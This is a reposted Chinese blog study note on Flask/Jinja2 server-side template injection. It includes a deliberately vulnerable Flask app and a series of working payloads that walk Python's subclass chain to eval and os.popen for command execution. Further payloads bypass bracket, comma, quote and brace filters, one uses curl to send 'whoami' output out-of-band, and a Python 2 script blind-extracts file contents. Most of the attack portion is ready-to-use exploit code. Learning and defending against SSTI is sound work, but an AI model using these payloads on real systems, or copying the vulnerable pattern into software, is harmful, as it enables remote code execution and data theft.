前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Flask-SSTI模版注入

Flask-SSTI模版注入

作者头像
偏有宸机
发布2020-11-04 10:27:59
9810
发布2020-11-04 10:27:59
举报
文章被收录于专栏:宸机笔记

SSTI(Server-Side Template Injection) 服务端模板注入 就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

Jinjia2

常用语法

代码语言:javascript
复制
控制结构 {% %} 

变量取值 {{ }} 

注释 {# #}
  • jinja2模板中使用双括弧符号表示一个变量,它是一种特殊的占位符。 当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象
  • jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
  • 被两个括号包裹的内容会输出其表达式的值
image-20200612171616620
image-20200612171616620

检测ssti漏洞

smarty=Hello ${7*7}

Hello 49

twig=Hello 49

Hello 49

image-20200612171722796
image-20200612171722796

实验

源码

代码语言:javascript
复制
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
	name = request.args.get('name', 'guest')
	t = Template("Hello " + name)
	return t.render()
if __name__ == "__main__":
	app.run()

分析

可以看到Template("Hello "+ name) 是直接将变量name给输出到模版,如下图

image-20200612171901578
image-20200612171901578

构造poc直接利用eval函数来执行命令

代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__ == 'catch_warnings' %}
	  {% for b in c.__init__.__globals__.values() %}
	  {% if b.__class__ == {}.__class__ %}
	    {% if 'eval' in b.keys() %}
	      {{ b['eval']('__import__("os").popen("ls").read()') }}
	    {% endif %}
	  {% endif %}
	  {% endfor %}
	{% endif %}
{% endfor %}

利用思路

  1. 随便找一个内置类对象用class拿到他所对应的类
  2. \bases**拿到基类
  3. subclasses()拿到子类列表 连贯操作如:[].__class__.__base__.__subclasses__()
  4. 最后寻找可利用的类 for b in c.__init__.__globals__.values()
image-20200612172153106
image-20200612172153106

关于Python类

class

返回该对象所属的类

bases

以元组的形式返回一个类所直接继承的类

base

以字符串返回一个类所直接继承的第一个类

mro

返回解析方法调用的顺序

bases返回了test()的两个父类 bases_返回了test()的第一个父类 __mro按照子类到父类到父父类解析的顺序返回所有类。

subclasses()

返回类的所有子类

init

所有类都包含init方法

‘ ‘.class.mro[1].subclasses()

获取function所处空间下可使用的module、方法以及所有变量

关于POC的构造

找共同类

不同的python版本 所包含的类也有差别,如python3中便没有file直接读取文件的类

builtins类中则会包含不同版本中共有的类

代码语言:javascript
复制
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='共有的类':
	c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

通用poc

也就是直接从__builtins__中提取

代码语言:javascript
复制
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__=='catch_warnings' %}
  	{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
  {% endif %}
{% endfor %}

过滤绕过

绕过中括号

代码语言:javascript
复制
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

绕过逗号+中括号

代码语言:javascript
复制
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

绕过双大括号(dns外带)

代码语言:javascript
复制
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

绕过 引号 中括号 通用getshell

代码语言:javascript
复制
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

Python2盲注

代码语言:javascript
复制
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
	'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
	for c in s:
		payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
		if check(payload):
			password += c
			break
		print password

学习自: ly0n c4ly

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Jinjia2
    • 常用语法
    • 检测ssti漏洞
    • 实验
      • 源码
        • 分析
          • 利用思路
          • 关于Python类
          • 关于POC的构造
            • 找共同类
              • 通用poc
                • 过滤绕过
                  • 绕过中括号
                  • 绕过逗号+中括号
                  • 绕过双大括号(dns外带)
                  • 绕过 引号 中括号 通用getshell
                • Python2盲注
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档